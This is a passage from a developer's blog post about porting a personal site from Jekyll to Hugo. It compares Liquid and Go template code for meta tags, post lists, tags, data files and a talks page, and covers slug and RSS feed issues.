  &lt;code&gt;{{ page.VARIABLE_NAME }}&lt;/code&gt; maps to &lt;code&gt;(isset .Params &quot;VARIABLE_NAME&quot;)&lt;/code&gt;
&lt;/div&gt;
&lt;h3&gt;Hugo&apos;s internal templates&lt;/h3&gt;
&lt;p&gt;Once I figured that out (after too much Googling), the rest of the partials came over without too much trouble. I managed to shorten the &lt;code&gt;head.html&lt;/code&gt; because Hugo has internal templates for Open Graph and Twitter meta tags, which I found pretty useful.&lt;/p&gt;
&lt;p&gt;My Jekyll &lt;code&gt;head.html&lt;/code&gt; was ridiculous. Most of it is probably unnecessary? I don&apos;t know. It&apos;s legacy, I can&apos;t remember why anymore.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;meta content=&amp;quot;{{ site.title }}&amp;quot; property=&amp;quot;og:site_name&amp;quot; /&amp;gt;

{% if page.title %}
&amp;lt;meta content=&amp;quot;{{ page.title }}&amp;quot; property=&amp;quot;og:title&amp;quot; /&amp;gt;
&amp;lt;meta content=&amp;quot;article&amp;quot; property=&amp;quot;og:type&amp;quot; /&amp;gt;
{% else %}
&amp;lt;meta content=&amp;quot;{{ site.title }}&amp;quot; property=&amp;quot;og:title&amp;quot; /&amp;gt;
&amp;lt;meta content=&amp;quot;website&amp;quot; property=&amp;quot;og:type&amp;quot; /&amp;gt;
{% endif %} {% if page.is_post %} {% if page.description %}
&amp;lt;meta content=&amp;quot;{{ page.description }}&amp;quot; property=&amp;quot;og:description&amp;quot; /&amp;gt;
{% else %}
&amp;lt;meta content=&amp;quot;{{ page.content | strip_html | truncatewords:20}}&amp;quot; property=&amp;quot;og:description&amp;quot; /&amp;gt;
{% endif %} {% if page.project %}
&amp;lt;meta content=&amp;quot;{{ site.url }}/images/posts/projects/{{ page.image }}.png&amp;quot; property=&amp;quot;og:image&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;twitter:card&amp;quot; content=&amp;quot;summary_large_image&amp;quot; /&amp;gt;
{% endif %} {% else %}
&amp;lt;meta content=&amp;quot;{{ site.description }}&amp;quot; property=&amp;quot;og:description&amp;quot; /&amp;gt;
{% endif %} {% if page.url %}
&amp;lt;meta content=&amp;quot;{{ site.url }}{{ page.url }}&amp;quot; property=&amp;quot;og:url&amp;quot; /&amp;gt;
{% endif %} {% if page.image %} {% unless page.project %}
&amp;lt;meta content=&amp;quot;{{ site.url }}/images/posts/{{ page.image }}.jpg&amp;quot; property=&amp;quot;og:image&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;twitter:image&amp;quot; content=&amp;quot;{{ site.url }}/images/posts/{{ page.image }}.jpg&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;twitter:card&amp;quot; content=&amp;quot;summary_large_image&amp;quot; /&amp;gt;
{% endunless %} {% else %}
&amp;lt;meta content=&amp;quot;{{ site.url }}/images/avatar.jpg&amp;quot; property=&amp;quot;og:image&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;twitter:image&amp;quot; content=&amp;quot;{{ site.url }}/images/avatar.jpg&amp;quot; /&amp;gt;
&amp;lt;meta name=&amp;quot;twitter:card&amp;quot; content=&amp;quot;summary&amp;quot; /&amp;gt;
{% endif %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, I just let Hugo handle it internally. Seems to work so far.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{{ template &amp;quot;_internal/opengraph.html&amp;quot; . }} {{ template &amp;quot;_internal/twitter_cards.html&amp;quot; . }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A single page in root, e.g. About&lt;/h3&gt;
&lt;p&gt;Okay, time for some actual content. I started with what I thought was the simplest page, the About page. It was a markdown file with some HTML thrown in because I wanted CSS classes on some things. I copied the &lt;code&gt;About.md&lt;/code&gt; file over to the &lt;em&gt;content&lt;/em&gt; folder&lt;/p&gt;
&lt;p&gt;After you have the &lt;code&gt;baseof.html&lt;/code&gt;, you&apos;re not out of the woods yet. Your browser still renders NOTHING.&lt;/p&gt;
&lt;p&gt;That&apos;s because you need a &lt;code&gt;single.html&lt;/code&gt; file that acts as the actual page template for your single pages. Add that to the &lt;em&gt;layouts/_default/&lt;/em&gt; folder as well. This is mine:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{{ define &amp;quot;main&amp;quot; }}
&amp;lt;header class=&amp;quot;page-header&amp;quot;&amp;gt;
  &amp;lt;h1 class=&amp;quot;page-header__title&amp;quot;&amp;gt;{{ .Params.title }}&amp;lt;/h1&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;div class=&amp;quot;page-content&amp;quot;&amp;gt;{{ .Content }}&amp;lt;/div&amp;gt;
{{ end }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which was ported over from this Jekyll version:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;---
layout: default
---

&amp;lt;header class=&amp;quot;page-header&amp;quot;&amp;gt;
  &amp;lt;h1 class=&amp;quot;page-header__title&amp;quot;&amp;gt;{{ page.title }}&amp;lt;/h1&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;div class=&amp;quot;page-content&amp;quot;&amp;gt;{{ content }}&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Page variables are available in both Jekyll and Hugo. They are defined in the content file&apos;s front matter. You can access them in Jekyll using &lt;code&gt;page.VARIABLE_NAME&lt;/code&gt; but in Hugo, you would use &lt;code&gt;.VARIABLE_NAME&lt;/code&gt; for the ones that Hugo natively supports or &lt;code&gt;.Params.VARIABLE_NAME&lt;/code&gt; for those you define yourself in the front matter. Check the &lt;a href=&quot;https://gohugo.io/variables/page/&quot;&gt;Page Variables&lt;/a&gt; documentation to figure out which ones you need.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ page.VARIABLE_NAME }}&lt;/code&gt; maps to &lt;code&gt;{{ .VARIABLE_NAME }}&lt;/code&gt; or &lt;code&gt;{{ .Params.VARIABLE_NAME }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;The difference between Jekyll and Hugo is that you &lt;strong&gt;cannot&lt;/strong&gt; access variables in your content files. So no &lt;code&gt;{{ VARIABLE }}&lt;/code&gt; in your content file expecting it to be parsed and replaced accordingly. It will just render as is, curly braces and all. If you do need to somehow access your page variable, write &lt;a href=&quot;https://gohugo.io/templates/shortcode-templates/&quot;&gt;a custom shortcode&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;List pages, e.g. home page or blog posts page&lt;/h3&gt;
&lt;p&gt;Pages with lists of content are their own thing in Hugo, and their template name is &lt;code&gt;list.html&lt;/code&gt;. Earlier when I talked about naming the folder where all my posts lived to &lt;code&gt;blog&lt;/code&gt;. This makes each of my posts have a &lt;code&gt;type&lt;/code&gt; of &lt;code&gt;blog&lt;/code&gt;. Hugo also does this thing called sections.&lt;/p&gt;
&lt;p&gt;Sections are collections of pages that are defined according to the structure of your &lt;em&gt;content&lt;/em&gt; folder. All first-level directories under &lt;em&gt;content/&lt;/em&gt; are their own section. So my site has a section called &lt;code&gt;blog&lt;/code&gt; because I have that folder in &lt;em&gt;content/&lt;/em&gt;. If that didn&apos;t make sense, &lt;a href=&quot;https://gohugo.io/content-management/sections/&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also, keep the &lt;a href=&quot;https://gohugo.io/templates/lookup-order/&quot;&gt;Hugo&apos;s Lookup Order&lt;/a&gt; page open in some tab. You&apos;ll look at it a lot. For me, I went with &lt;code&gt;index.html&lt;/code&gt; in the root of the &lt;em&gt;layouts&lt;/em&gt; folder as the template specificity.&lt;/p&gt;
&lt;p&gt;So in this sense, I felt Jekyll was a bit more straightforward. Because you were allowed to access template variables anywhere, the home page was &lt;code&gt;index.html&lt;/code&gt; in the root of my project. But maybe it&apos;s neater to do it Hugo&apos;s way? I don&apos;t have strong opinions on this.&lt;/p&gt;
&lt;p&gt;A list of content on the home page, that&apos;s like the most straightforward thing right?&lt;/p&gt;
&lt;p&gt;No.&lt;/p&gt;
&lt;p&gt;I have logic in there, okay? So in plain English, the conditions are, if it is an external post, clicking the title leads out of the site to where the post lives. If it&apos;s a normal post, act normally. Each post also has tags, and when you click a tag it leads to a page that lists other posts with the same tag.&lt;/p&gt;
&lt;p&gt;Without the tags bit, the listing logic looks like this on Jekyll:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ul class=&amp;quot;post-list&amp;quot;&amp;gt;
  {% for post in site.posts limit:10 %}
  &amp;lt;li class=&amp;quot;no-list-style&amp;quot;&amp;gt;
    &amp;lt;span class=&amp;quot;post-meta&amp;quot;&amp;gt;{{ post.date | date: &amp;quot;%b %-d, %Y&amp;quot; }}&amp;lt;/span&amp;gt;
    &amp;lt;h2 class=&amp;quot;post-title&amp;quot;&amp;gt;
      {% if post.external_url %}
      &amp;lt;a
        class=&amp;quot;post-link external-url no-underline {{ post.external_site }}&amp;quot;
        href=&amp;quot;{{ post.external_url }}&amp;quot;
        &amp;gt;{{ post.title }}&amp;lt;/a
      &amp;gt;
      {% else %}
      &amp;lt;a class=&amp;quot;post-link no-underline&amp;quot; href=&amp;quot;{{ post.url | prepend: site.baseurl }}&amp;quot;
        &amp;gt;{{ post.title }}&amp;lt;/a
      &amp;gt;
      {% endif %}
    &amp;lt;/h2&amp;gt;
    {% if post.external_site %}
    &amp;lt;p class=&amp;quot;note italicise&amp;quot;&amp;gt;
      This article was originally published on {{ site.data.publications[post.external_site].name
      }}.
    &amp;lt;/p&amp;gt;
    {% endif %}
    &amp;lt;p class=&amp;quot;post-summary&amp;quot;&amp;gt;{{ post.content | markdownify | strip_html | truncatewords:20 }}&amp;lt;/p&amp;gt;
  &amp;lt;/li&amp;gt;
  {% endfor %}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s more or less the same length for Hugo, methinks, with significant syntax differences for the same functionality.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;ul class=&amp;quot;post-list&amp;quot;&amp;gt;
  {{ range $page := first 10 (where .Site.RegularPages &amp;quot;Section&amp;quot; &amp;quot;in&amp;quot; .Site.Params.mainSections) }}
  &amp;lt;li class=&amp;quot;no-list-style&amp;quot;&amp;gt;
    &amp;lt;span class=&amp;quot;post-meta&amp;quot;&amp;gt;{{ .Date.Format &amp;quot;Jan 2, 2006&amp;quot; }}&amp;lt;/span&amp;gt;
    &amp;lt;h2 class=&amp;quot;post-title&amp;quot;&amp;gt;
      {{ if .Params.external_url }}
      &amp;lt;a
        class=&amp;quot;post-link external-url no-underline {{ .Params.external_site }}&amp;quot;
        href=&amp;quot;{{ .Params.external_url }}&amp;quot;
        &amp;gt;{{ .Title }}&amp;lt;/a
      &amp;gt;
      {{ else }}
      &amp;lt;a class=&amp;quot;post-link no-underline&amp;quot; href=&amp;quot;{{ .Permalink }}&amp;quot;&amp;gt;{{ .Title }}&amp;lt;/a&amp;gt;
      {{ end }}
    &amp;lt;/h2&amp;gt;
    {{ if .Params.external_site }}
    &amp;lt;p class=&amp;quot;note italicise&amp;quot;&amp;gt;
      This article was originally published on {{ (index .Site.Data.publications
      .Params.external_site).name }}.
    &amp;lt;/p&amp;gt;
    {{ end }}
    &amp;lt;p class=&amp;quot;post-summary&amp;quot;&amp;gt;{{ .Summary | truncate 130 }}&amp;lt;/p&amp;gt;
  &amp;lt;/li&amp;gt;
  {{ end }}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The suggestion is to use &lt;code&gt;site.Params.mainSections&lt;/code&gt; instead of hard-coding the value to equate type to some string, so I just copied it off the documentation. Someone smarter please figure this one out.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{% for post in site.posts limit:10 %}{% endfor %}&lt;/code&gt; maps to &lt;code&gt;{{ range $page := first 10 (where .Site.RegularPages &quot;Section&quot; &quot;in&quot; .Site.Params.mainSections) }}{{ end }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;Date formatting is also different. I literally had zero experience with Go prior to this so &lt;a href=&quot;https://gohugo.io/functions/format/&quot;&gt;trust the docs&lt;/a&gt;, don&apos;t trust me.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ post.date | date: &quot;%b %-d, %Y&quot; }}&lt;/code&gt; maps to &lt;code&gt;{{ .Date.Format &quot;Jan 2, 2006&quot; }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;Both Jekyll and Hugo lets you generate summaries. Again with different syntax. Also, different counting algorithm to determine the cut-off. I eye-balled it for this one.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ post.content | markdownify | strip_html | truncatewords:20 }}&lt;/code&gt; maps to &lt;code&gt;{{ .Summary | truncate 130 }}&lt;/code&gt;
&lt;/div&gt;
&lt;h3&gt;Tags&lt;/h3&gt;
&lt;p&gt;Tags are displayed inline delimited by a comma. To the left of the tags is a small icon. If there is only a single tag, the icon is a single tag icon. But if there are multiple tags, the tag icon is a double tag icon.&lt;/p&gt;
&lt;p&gt;I implemented tags on my posts on 3 February 2015. Jekyll had support for tags already but most implementations of having a list of posts with the same tag involved some sort of custom plugin.&lt;/p&gt;
&lt;p&gt;GitHub Pages does not do plugins, so I searched around for a plugin-free solution and went with &lt;a href=&quot;http://www.minddust.com/post/tags-and-categories-on-github-pages/&quot;&gt;How To Use Tags And Categories On GitHub Pages Without Plugins&lt;/a&gt; by Stephan Groß.&lt;/p&gt;
&lt;p&gt;Wasn&apos;t the prettiest thing around, but at least it worked. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% if post.tags.size &amp;gt; 0 %} {% capture tags_content %} {% if post.tags.size == 1 %}
&amp;lt;span class=&amp;quot;icon icon--tag&amp;quot;&amp;gt;
  &amp;lt;svg&amp;gt;&amp;lt;!--It&apos;s an inline SVG okay? Brevity here--&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;/span&amp;gt;
{% else %}
&amp;lt;span class=&amp;quot;icon icon--tags&amp;quot;&amp;gt;
  &amp;lt;svg&amp;gt;&amp;lt;!--It&apos;s an inline SVG okay? Brevity here--&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;/span&amp;gt;
{% endif %} {% endcapture %} {% for post_tag in post.tags %} {% assign tag =
site.data.tags[post_tag] %} {% if tag %} {% capture tags_content_temp %} {{ tags_content }}
&amp;lt;a class=&amp;quot;post-content__tag small&amp;quot; href=&amp;quot;/blog/{{ post_tag }}/&amp;quot;&amp;gt;{{ tag.name }}&amp;lt;/a&amp;gt;
{% if forloop.last == false %}, {% endif %} {% endcapture %} {% assign tags_content =
tags_content_temp %} {% endif %} {% endfor %} {% else %} {% assign tags_content = &apos;&apos; %} {% endif %}
&amp;lt;p class=&amp;quot;post-meta&amp;quot;&amp;gt;{{ tags_content }}&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tags with Hugo were so simple. It was literally the simplest part of this migration. That is all I have to say about it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;p class=&amp;quot;post-meta&amp;quot;&amp;gt;
  {{ $count := (len .Params.tags) }} {{ if gt $count 1 }}
  &amp;lt;span class=&amp;quot;icon icon--tags&amp;quot;&amp;gt;
    &amp;lt;svg&amp;gt;&amp;lt;!--It&apos;s an inline SVG okay? Brevity here--&amp;gt;&amp;lt;/svg&amp;gt;
  &amp;lt;/span&amp;gt;
  {{ else }}
  &amp;lt;span class=&amp;quot;icon icon--tag&amp;quot;&amp;gt;
    &amp;lt;svg&amp;gt;&amp;lt;!--It&apos;s an inline SVG okay? Brevity here--&amp;gt;&amp;lt;/svg&amp;gt;
  &amp;lt;/span&amp;gt;
  {{ end }} {{ range $i, $e := .Params.tags }} {{ if $i }}, {{ end }}
  &amp;lt;a class=&amp;quot;post-content__tag small&amp;quot; href=&apos;{{ &amp;quot;/tags/&amp;quot; | relLangURL }}{{ . | urlize }}&apos;&amp;gt;{{ $e }}&amp;lt;/a&amp;gt;
  {{ end }}
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Data files&lt;/h3&gt;
&lt;p&gt;Ah, we have come to one of my favourite things about Jekyll, which are data files. Hugo supports them too, so plus points here. In the original site, I needed to use a data file to manage tags (which I didn&apos;t bother to explain or show, haha). But I also had one for managing my talks page. Here&apos;s what some of the entries look like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;- title: &amp;quot;What is this? Why must bind?&amp;quot;
  id: what-is-this
  count: &amp;quot;80&amp;quot;
  video: https://youtu.be/qKG7a8mTqqE?t=899
  event: React Knowledgeable
  type: meetup
  released: true
  pdf: true

- title: &amp;quot;East Asian typography on the modern web&amp;quot;
  id: typetechmunich-2020
  count: &amp;quot;81&amp;quot;
  event: TypeTechMunich Meetup 2020
  website: https://type-tech.net/
  type: conference
  released: false
  pdf: false

- title: &amp;quot;DevTools, more than just a debugger&amp;quot;
  id: jsfwdays-2020
  host: https://devtools-jsfwdays.herokuapp.com/devtools
  count: &amp;quot;82&amp;quot;
  video: https://youtu.be/QRyE2cHk8Q4
  event: JavaScript fwdays&apos;20
  website: https://fwdays.com/en/event/js-fwdays-2020
  type: conference
  released: true
  pdf: false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because Hugo supports YAML nicely, I just moved my &lt;em&gt;_data&lt;/em&gt; folder as-is to the &lt;em&gt;data&lt;/em&gt; folder without changing anything in the data files themselves. Perfect. The logic for working with data files also matched, but figuring out the syntax was not smooth sailing.&lt;/p&gt;
&lt;p&gt;Also, “Talks” like “About” is a &lt;strong&gt;single page&lt;/strong&gt;. Based on the rules, the template I chose to use was &lt;code&gt;talks.html&lt;/code&gt; in the &lt;em&gt;layouts/_default&lt;/em&gt; folder. It needed a customised template because of the customised logic. I&apos;m too lazy to write out the logic in plain English. This logic monster grew over the years. It started out much simpler.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h2&amp;gt;Conferences&amp;lt;/h2&amp;gt;
&amp;lt;div class=&amp;quot;grid&amp;quot;&amp;gt;
  {% assign conferences = site.data.slides | sort: &apos;count&apos; | reverse %}
  {% for conference in conferences %}
  {% if conference.type == &apos;conference&apos; %}
    {% if conference.released %}
  &amp;lt;div class=&amp;quot;talk&amp;quot;&amp;gt;
      {% if conference.host %}
    &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ conference.host }}&amp;quot;&amp;gt;
      {% else %}
    &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ site.baseurl }}/slides/{{ conference.count }}-{{ conference.id }}&amp;quot;&amp;gt;
      {% endif %}
      &amp;lt;img srcset=&amp;quot;{{ site.baseurl }}/images/slides/{{ conference.id }}@2x.jpg 2x&amp;quot; src=&amp;quot;{{ site.baseurl }}/images/slides/{{ conference.id }}.jpg&amp;quot; alt=&amp;quot;{{ conference.title }}&amp;quot;&amp;gt;
    &amp;lt;/a&amp;gt;
      {% if conference.video.size %}
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;&amp;lt;a class=&amp;quot;talk__video&amp;quot; href=&amp;quot;{{ conference.video }}&amp;quot;&amp;gt;
    Watch video&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {% else %}
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;no&amp;quot;&amp;gt;&amp;amp;#x274C;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;video&amp;quot;&amp;gt;&amp;amp;#x1F4F9;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;sorry&amp;quot;&amp;gt;&amp;amp;#x1F937;&amp;lt;/span&amp;gt; &amp;lt;a href=&amp;quot;https://github.com/huijing/slides/tree/gh-pages/{{ conference.count }}-{{ conference.id }}&amp;quot;&amp;gt;Read transcript&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {% endif %}
      {% if conference.pdf %}
    &amp;lt;p&amp;gt;&amp;lt;a class=&amp;quot;talk__pdf no-margin&amp;quot; href=&amp;quot;{{ site.baseurl }}/slides/pdf/{{ conference.id }}.pdf&amp;quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {% else %}
    &amp;lt;p&amp;gt;No slides, no pdf&amp;lt;/p&amp;gt;
      {% endif %}
  &amp;lt;/div&amp;gt;
    {% else %}
  &amp;lt;div class=&amp;quot;talk&amp;quot;&amp;gt;
    &amp;lt;img srcset=&amp;quot;{{ site.baseurl }}/images/slides/{{ conference.id }}@2x.jpg 2x&amp;quot; src=&amp;quot;{{ site.baseurl }}/images/slides/{{ conference.id }}.jpg&amp;quot; alt=&amp;quot;{{ conference.title }}&amp;quot;/&amp;gt;
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;Coming soon!&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;a class=&amp;quot;no-margin&amp;quot; href=&amp;quot;{{ conference.website }}&amp;quot;&amp;gt;Event details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
    {% endif %}
  {% endif %}
  {% endfor %}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The logic ported over just fine after I figured out the corresponding syntax.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h2&amp;gt;Conferences&amp;lt;/h2&amp;gt;
&amp;lt;div class=&amp;quot;grid&amp;quot;&amp;gt;
  {{ $slidesUrl := .Site.Params.githubURL }}
  {{ range sort .Site.Data.slides &amp;quot;.count&amp;quot; &amp;quot;desc&amp;quot; }}
  {{ if eq .type &amp;quot;conference&amp;quot; }}
    {{ if eq .released true }}
  &amp;lt;div class=&amp;quot;talk&amp;quot;&amp;gt;
      {{ if eq .host true }}
    &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ .host }}&amp;quot;&amp;gt;
      {{ else }}
    &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ $slidesUrl }}/slides/{{ .count }}-{{ .id }}&amp;quot;&amp;gt;
      {{ end }}
      &amp;lt;img srcset=&amp;quot;{{ .Site.BaseURL }}/images/slides/{{ .id }}@2x.jpg 2x&amp;quot; src=&amp;quot;{{ .Site.BaseURL }}/images/slides/{{ .id }}.jpg&amp;quot; alt=&amp;quot;{{ .title }}&amp;quot;&amp;gt;
    &amp;lt;/a&amp;gt;
      {{ if isset . &amp;quot;video&amp;quot; }}
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;&amp;lt;a class=&amp;quot;talk__video&amp;quot; href=&amp;quot;{{ .video }}&amp;quot;&amp;gt;Watch video&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {{ else }}
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;no&amp;quot;&amp;gt;&amp;amp;#x274C;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;video&amp;quot;&amp;gt;&amp;amp;#x1F4F9;&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;font-size:85%;&amp;quot; class=&amp;quot;emoji&amp;quot; role=&amp;quot;img&amp;quot; tabindex=&amp;quot;0&amp;quot; aria-label=&amp;quot;sorry&amp;quot;&amp;gt;&amp;amp;#x1F937;&amp;lt;/span&amp;gt; &amp;lt;a href=&amp;quot;https://github.com/huijing/slides/tree/gh-pages/{{ .count }}-{{ .id }}&amp;quot;&amp;gt;Read transcript&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {{ end }}
      {{ if eq .pdf true }}
    &amp;lt;p&amp;gt;&amp;lt;a class=&amp;quot;talk__pdf no-margin&amp;quot; href=&amp;quot;{{ $slidesUrl }}/slides/pdf/{{ .id }}.pdf&amp;quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
      {{ else }}
    &amp;lt;p&amp;gt;No slides, no pdf&amp;lt;/p&amp;gt;
      {{ end }}
  &amp;lt;/div&amp;gt;
    {{ else }}
  &amp;lt;div class=&amp;quot;talk&amp;quot;&amp;gt;
    &amp;lt;img srcset=&amp;quot;{{ .Site.BaseURL }}/images/slides/{{ .id }}@2x.jpg 2x&amp;quot; src=&amp;quot;{{ .Site.BaseURL }}/images/slides/{{ .id }}.jpg&amp;quot; alt=&amp;quot;{{ .title }}&amp;quot;/&amp;gt;
    &amp;lt;p class=&amp;quot;no-margin&amp;quot;&amp;gt;Coming soon!&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;a class=&amp;quot;no-margin&amp;quot; href=&amp;quot;{{ .website }}&amp;quot;&amp;gt;Event details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
    {{ end }}
  {{ end }}
  {{ end }}
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ site.data.DATA_FILE_NAME }}&lt;/code&gt; maps to &lt;code&gt;{{ .Site.Data.DATA_FILE_NAME }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;There was a bit of a gotcha in terms of accessing custom site variables within a loop hence the line which assigns it to a variable first, &lt;code&gt;{{ $slidesUrl := .Site.Params.githubURL }}&lt;/code&gt;, before referencing &lt;code&gt;$slideUrl&lt;/code&gt; inside the loop. No idea about the why. Maybe I&apos;ll find out. One day.&lt;/p&gt;
&lt;h2&gt;Content migration&lt;/h2&gt;
&lt;p&gt;This should have taken way less time than it actually did. But I oscillated between using Hugo&apos;s custom shortcodes versus writing out HTML in full for my responsive images because I kept thinking what would happen if I migrated again. That would mean writing the stuff in the shortcodes within my content.&lt;/p&gt;
&lt;p&gt;Did I mention at this point I was already at 186 posts? Can you imagine what I would do if I migrated at 380 posts? I can&apos;t. In the end, I left most of the images as they were, fixed the file paths and called it done. However, if you peek, one of the years uses shortcodes. But just that one year (I think, I can&apos;t remember any more nor do I want to check).&lt;/p&gt;
&lt;p&gt;The earliest posts were the worst. Because I hadn&apos;t discovered that long paragraphs were annoying to read yet, and my formatting was off for nested lists. I wonder if this was because somewhere along the lines Jekyll switched markdown engines and I just didn&apos;t notice things broke. So I pretty much went through each post (some of them multiple times) and that took a lot of time.&lt;/p&gt;
&lt;p&gt;Had to modify front matter for images, because I wanted to use Hugo&apos;s internal templates for Open Graph and Twitter. Also, permalinks for each blog post. This is where I wanted to slap myself. Hugo, by default, uses the post title word for word as the path. Jekyll, however, uses the file name.&lt;/p&gt;
&lt;p&gt;By the time I got halfway through 2016, changing all the internal references along the way, I realised this was a bad idea, because it would break links to my posts from everywhere. Hugo has a &lt;code&gt;slug&lt;/code&gt; variable that lets you override the title-as-path implementation.&lt;/p&gt;
&lt;p&gt;So I had to go back and change the internal references &lt;strong&gt;back to the original&lt;/strong&gt;, then add the correct &lt;code&gt;slug&lt;/code&gt; which matched the file name instead.&lt;/p&gt;
&lt;img src=&quot;/images/posts/migrate-hugo/angry2.jpg&quot; srcset=&quot;/images/posts/migrate-hugo/angry2@2x.jpg 2x&quot; alt=&quot;An angry-looking red panda&quot;&gt;
&lt;h3&gt;RSS, yes it&apos;s still a thing in 2020&lt;/h3&gt;
&lt;p&gt;I have an RSS feed. I have a kind of customised RSS feed, because there are certain posts that I don&apos;t want in the feed, specifically those that I write for other publications. I just want a &lt;strong&gt;link&lt;/strong&gt; to them, but I also draft all my writing on this site, and I don&apos;t delete the post.&lt;/p&gt;
&lt;p&gt;Because I didn&apos;t set things up properly, I got into some trouble with one of the publications I wrote for. And it was my fault for not being conscientious enough. Anyway, RSS template has logic too! By now I pretty much figured out the conditionals I used most often, so it was a matter of tweaking it to be the same as before.&lt;/p&gt;
&lt;p&gt;Getting the name of the generated file to be &lt;code&gt;feed.xml&lt;/code&gt; instead of the default &lt;code&gt;index.xml&lt;/code&gt; took long and I still can&apos;t figure out what happened. It&apos;s a configuration setting in the &lt;code&gt;config.yml&lt;/code&gt; file which I managed to get right &lt;a href=&quot;https://discourse.gohugo.io/t/how-can-i-change-the-rss-url/118/17&quot;&gt;following these instructions&lt;/a&gt; but it didn&apos;t reflect until I restarted the server. Life happens.&lt;/p&gt;
